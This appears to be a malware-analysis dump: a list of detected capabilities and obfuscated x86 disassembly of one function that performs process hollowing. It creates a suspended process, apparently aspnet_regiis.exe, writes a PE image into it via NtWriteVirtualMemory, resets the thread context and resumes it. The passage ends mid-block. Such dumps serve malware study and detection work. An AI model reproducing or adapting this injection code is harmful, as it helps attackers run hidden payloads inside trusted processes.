Function at 0x10007540
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x148
mov eax, dword [0x1006cc04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x4b12ddde
sub edx, 1
sub edx, 0x4b12ddde
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x149], al
mov dword [ebp - 0x150], 0x9df94ceb
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
sub eax, 0x8009c75a
je 0x1000d3f1
jmp 0x100075bb
mov eax, dword [ebp - 0x154]
sub eax, 0x807e44e9
je 0x1000a99b
jmp 0x100075d1
mov eax, dword [ebp - 0x154]
sub eax, 0x80f0a983
je 0x1000a334
jmp 0x100075e7
mov eax, dword [ebp - 0x154]
sub eax, 0x80fe24a9
je 0x1000bb6b
jmp 0x100075fd
mov eax, dword [ebp - 0x154]
sub eax, 0x8239d000
je 0x1000c25d
jmp 0x10007613
mov eax, dword [ebp - 0x154]
sub eax, 0x83575c73
je 0x1000d7e6
jmp 0x10007629
mov eax, dword [ebp - 0x154]
sub eax, 0x83ede524
je 0x1000c324
jmp 0x1000763f
mov eax, dword [ebp - 0x154]
sub eax, 0x850f93f5
je 0x1000c5fb
jmp 0x10007655
mov eax, dword [ebp - 0x154]
sub eax, 0x85dc408a
je 0x1000cbd7
jmp 0x1000766b
mov eax, dword [ebp - 0x154]
sub eax, 0x8615275e
je 0x1000e2d7
jmp 0x10007681
mov eax, dword [ebp - 0x154]
sub eax, 0x864fae7d
je 0x1000bd91
jmp 0x10007697
mov eax, dword [ebp - 0x154]
sub eax, 0x87afa15f
je 0x1000a785
jmp 0x100076ad
mov eax, dword [ebp - 0x154]
sub eax, 0x8844df8a
je 0x1000dc2b
jmp 0x100076c3
mov eax, dword [ebp - 0x154]
sub eax, 0x89c5d5f5
je 0x1000df5b
jmp 0x100076d9
mov eax, dword [ebp - 0x154]
sub eax, 0x8a638cba
je 0x1000deb3
jmp 0x100076ef
mov eax, dword [ebp - 0x154]
sub eax, 0x8b836e33
je 0x1000ab18
jmp 0x10007705
mov eax, dword [ebp - 0x154]
sub eax, 0x8b910f62
je 0x1000cefa
jmp 0x1000771b
mov eax, dword [ebp - 0x154]
sub eax, 0x8d035009
je 0x1000c59f
jmp 0x10007731
mov eax, dword [ebp - 0x154]
sub eax, 0x8d7dc7a7
je 0x1000e172
jmp 0x10007747
mov eax, dword [ebp - 0x154]
sub eax, 0x8dc96cb4
je 0x1000ddaf
jmp 0x1000775d
mov eax, dword [ebp - 0x154]
sub eax, 0x8dddfd84
je 0x1000c1d1
jmp 0x10007773
mov eax, dword [ebp - 0x154]
sub eax, 0x8f4116e7
je 0x1000bd73
jmp 0x10007789
mov eax, dword [ebp - 0x154]
sub eax, 0x8fa78e52
je 0x1000d37b
jmp 0x1000779f
mov eax, dword [ebp - 0x154]
sub eax, 0x8fdd9f08
je 0x1000c6ee
jmp 0x100077b5
mov eax, dword [ebp - 0x154]
sub eax, 0x915a157d
je 0x1000e2c8
jmp 0x100077cb
mov eax, dword [ebp - 0x154]
sub eax, 0x91980076
je 0x1000980c
jmp 0x100077e1
mov eax, dword [ebp - 0x154]
sub eax, 0x9260d668
je 0x1000ba87
jmp 0x100077f7
mov eax, dword [ebp - 0x154]
sub eax, 0x92c9fd5c
je 0x1000dee9
jmp 0x1000780d
mov eax, dword [ebp - 0x154]
sub eax, 0x93249197
je 0x1000a3a2
jmp 0x10007823
mov eax, dword [ebp - 0x154]
sub eax, 0x96514cc8
je 0x1000c105
jmp 0x10007839
mov eax, dword [ebp - 0x154]
sub eax, 0x97722146
je 0x1000df85
jmp 0x1000784f
mov eax, dword [ebp - 0x154]
sub eax, 0x97e45f99
je 0x1000a09a
jmp 0x10007865
mov eax, dword [ebp - 0x154]
sub eax, 0x9808ecd1
je 0x1000dada
jmp 0x1000787b
mov eax, dword [ebp - 0x154]
sub eax, 0x990feb2d
je 0x1000a0bb
jmp 0x10007891
mov eax, dword [ebp - 0x154]
sub eax, 0x99c32ccb
je 0x1000b6f5
jmp 0x100078a7
mov eax, dword [ebp - 0x154]
sub eax, 0x9a3c5ebc
je 0x1000c836
jmp 0x100078bd
mov eax, dword [ebp - 0x154]
sub eax, 0x9abbf801
je 0x1000d854
jmp 0x100078d3
mov eax, dword [ebp - 0x154]
sub eax, 0x9bbff3ea
je 0x1000a043
jmp 0x100078e9
mov eax, dword [ebp - 0x154]
sub eax, 0x9c4e7781
je 0x1000d6f5
jmp 0x100078ff
mov eax, dword [ebp - 0x154]
sub eax, 0x9df94ceb
je 0x100090a6
jmp 0x10007915
mov eax, dword [ebp - 0x154]
sub eax, 0x9eee6138
je 0x1000ce1d
jmp 0x1000792b
mov eax, dword [ebp - 0x154]
sub eax, 0x9ef76db8
je 0x1000dc1c
jmp 0x10007941
mov eax, dword [ebp - 0x154]
sub eax, 0x9f46fc3d
je 0x1000e3cf
jmp 0x10007957
mov eax, dword [ebp - 0x154]
sub eax, 0xa00f6870
je 0x1000acff
jmp 0x1000796d
mov eax, dword [ebp - 0x154]
sub eax, 0xa0b8c434
je 0x10009b22
jmp 0x10007983
mov eax, dword [ebp - 0x154]
sub eax, 0xa0f9e305
je 0x1000e2f5
jmp 0x10007999
mov eax, dword [ebp - 0x154]
sub eax, 0xa2d7ff84
je 0x1000a172
jmp 0x100079af
mov eax, dword [ebp - 0x154]
sub eax, 0xa39551ff
je 0x1000a8dc
jmp 0x100079c5
mov eax, dword [ebp - 0x154]
sub eax, 0xa4a9f73b
je 0x1000dd0c
jmp 0x100079db
mov eax, dword [ebp - 0x154]
sub eax, 0xa6ed748c
je 0x1000dfb2
jmp 0x100079f1
mov eax, dword [ebp - 0x154]
sub eax, 0xa704f60c
je 0x1000d31f
jmp 0x10007a07
mov eax, dword [ebp - 0x154]
sub eax, 0xa7a916ee
je 0x1000a1c3
jmp 0x10007a1d
mov eax, dword [ebp - 0x154]
sub eax, 0xa7e7c88b
je 0x1000dec2
jmp 0x10007a33
mov eax, dword [ebp - 0x154]
sub eax, 0xa8499954
je 0x1000bcbc
jmp 0x10007a49
mov eax, dword [ebp - 0x154]
sub eax, 0xa8c20743
je 0x1000aac0
jmp 0x10007a5f
mov eax, dword [ebp - 0x154]
sub eax, 0xab28bec0
je 0x10009e2d
jmp 0x10007a75
mov eax, dword [ebp - 0x154]
sub eax, 0xab70a772
je 0x1000e5ff
jmp 0x10007a8b
mov eax, dword [ebp - 0x154]
sub eax, 0xacf5cae9
je 0x1000e417
jmp 0x10007aa1
mov eax, dword [ebp - 0x154]
sub eax, 0xada5da78
je 0x1000c37c
jmp 0x10007ab7
mov eax, dword [ebp - 0x154]
sub eax, 0xaf063551
je 0x1000a104
jmp 0x10007acd
mov eax, dword [ebp - 0x154]
sub eax, 0xb2716c93
je 0x1000b84f
jmp 0x10007ae3
mov eax, dword [ebp - 0x154]
sub eax, 0xb2a2b5b6
je 0x10009f03
jmp 0x10007af9
mov eax, dword [ebp - 0x154]
sub eax, 0xb36e90c2
je 0x1000c556
jmp 0x10007b0f
mov eax, dword [ebp - 0x154]
sub eax, 0xb4190a1b
je 0x100094a6
jmp 0x10007b25
mov eax, dword [ebp - 0x154]
sub eax, 0xb4a757f0
je 0x1000e591
mov al, byte [ebp - 0x14a]
mov cl, byte [ebp - 0x149]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d33faa8
mov ecx, 0x5d26d936
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x50da33d8
sub edx, 1
add edx, 0x50da33d8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe4f16af4
mov ecx, 0x773f5cf0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c2f06ad
mov ecx, 0x6041420b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2520438c
mov ecx, 0x1aa604f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0xe1f430e1
sub edx, 1
add edx, 0xe1f430e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc90baafe
mov ecx, 0xb626c5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0f36e3c
mov ecx, 0x215ed1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov al, byte [ebp - 0xab]
and al, 1
mov byte [ebp - 0xaa], al
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83575c73
mov ecx, 0x97e45f99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dl, byte [ebp - 0xaa]
mov eax, 0x990feb2d
mov ecx, 0x26b314dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54fc20ec
mov ecx, 0xaf063551
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x12c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xad25228e
sub edx, 1
sub edx, 0xad25228e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54fc20ec
mov ecx, 0xdb41c912
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0x87e87989
sub edx, 1
sub edx, 0x87e87989
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d71258e
mov ecx, 0xa7a916ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xdbe66498
sub edx, 1
sub edx, 0xdbe66498
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbde9405
mov ecx, 0x6d1e7e89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7335bca
mov ecx, 0x93249197
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7335bca
mov ecx, 0x4e6981fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x150], 0x345a6613
jmp 0x1000e69b
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x138]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ax, word [eax + 0x14]
mov word [ebp - 0x96], ax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b004946
mov ecx, 0x807e44e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9808ecd1
mov ecx, 0x5e9e18f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dword [ebp - 0x150], 0x39ea5c91
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xccb3c62e
sub edx, 1
sub edx, 0xccb3c62e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24926b69
mov ecx, 0x25337fec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x451c225
sub edx, 1
sub edx, 0x451c225
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8628f7a
mov ecx, 0xc4fb6a9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x17a0eae9
sub edx, 1
add edx, 0x17a0eae9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a638cba
mov ecx, 0x1e91015a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa7e7c88b
mov ecx, 0xe47fab3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xd98e2ed
sub edx, 1
sub edx, 0xd98e2ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a182364
mov ecx, 0xc6f8ff2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dl, byte [ebp - 0x61]
mov eax, 0x52492289
mov ecx, 0xf1b5460d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x92c9fd5c
mov ecx, 0x568a5fbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dl, byte [ebp - 0x59]
mov eax, 0xfadc6a2b
mov ecx, 0x864fae7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
add ecx, 0xc707e007
add ecx, 8
sub ecx, 0xc707e007
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x35d9f330
sub ecx, 8
add ecx, 0x35d9f330
shr ecx, 1
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x150], 0x28313880
jmp 0x1000e69b
mov dl, byte [ebp - 0x46]
mov eax, 0xf1492c12
mov ecx, 0xb8bf5cad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xf84f5463
sub edx, 1
sub edx, 0xf84f5463
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbafd229b
mov ecx, 0x8239d000
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xb350cc3
sub edx, 1
add edx, 0xb350cc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf80d78c0
mov ecx, 0xb58606c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dword [ebp - 0x150], 0xb750c5f1
jmp 0x1000e69b
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf0]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x3e90e3be
or eax, esi
or edx, 0x3e90e3be
xor eax, 0xffffffff
and eax, edx
add ecx, 0x88a75a74
add ecx, eax
sub ecx, 0x88a75a74
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x9bc4ed38
sub edx, 1
add edx, 0x9bc4ed38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc47027a
mov ecx, 0x741e8ede
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdab581c
mov ecx, 0x8d035009
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x186e9fa9
sub edx, 1
add edx, 0x186e9fa9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdab581c
mov ecx, 0x850f93f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8615275e
mov ecx, 0xc40497ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x150], 0x70f7ce27
jmp 0x1000e69b
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x150], 0xbcae46b8
jmp 0x1000e69b
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x3970fcc8
sub edx, 1
add edx, 0x3970fcc8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f46fc3d
mov ecx, 0x21539ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov dl, byte [ebp - 0x1d]
mov eax, 0x1685a93b
mov ecx, 0xebd79d3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x18], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xacf5cae9
mov ecx, 0x7fbf4aad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x1000e69b
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x150], 0x4537dfc
jmp 0x1000e69b
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x32cd0f1c
sub edx, 1
sub edx, 0x32cd0f1c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
